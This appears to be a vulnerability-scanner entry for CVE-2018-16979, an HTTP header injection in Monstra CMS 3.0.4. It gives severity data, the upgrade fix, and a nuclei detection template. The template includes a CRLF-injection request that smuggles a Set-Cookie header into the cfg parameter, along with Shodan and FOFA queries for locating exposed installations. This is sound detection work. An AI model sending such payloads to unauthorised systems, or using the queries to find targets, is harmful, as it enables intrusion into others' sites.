Monstra CMS 3.0.4 - HTTP Header Injection

mediumseverity

6.1CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.

Impact

This vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and remote code execution (RCE).

Fix

Upgrade Monstra CMS to version 3.0.5 or later to mitigate the HTTP Header Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1
Positive when: contains "new line detected in" and "cryptographp.php" AND status 200

Run it with nuclei: nuclei -id CVE-2018-16979 -u <target>

The full check

id: CVE-2018-16979

info:
  name: Monstra CMS 3.0.4 - HTTP Header Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.
  impact: |
    This vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and remote code execution (RCE).
  remediation: |
    Upgrade Monstra CMS to version 3.0.5 or later to mitigate the HTTP Header Injection vulnerability.
  reference:
    - https://github.com/howchen/howchen/issues/4
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16979
    cwe-id: CWE-113
    epss-score: 0.0302
    epss-percentile: 0.87559
    cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: monstra
    product: monstra
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve2018,cve,crlf,mostra,mostracms,cms,monstra,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'new line detected in'
          - 'cryptographp.php'
        condition: and

      - type: status
        status:
          - 200

References

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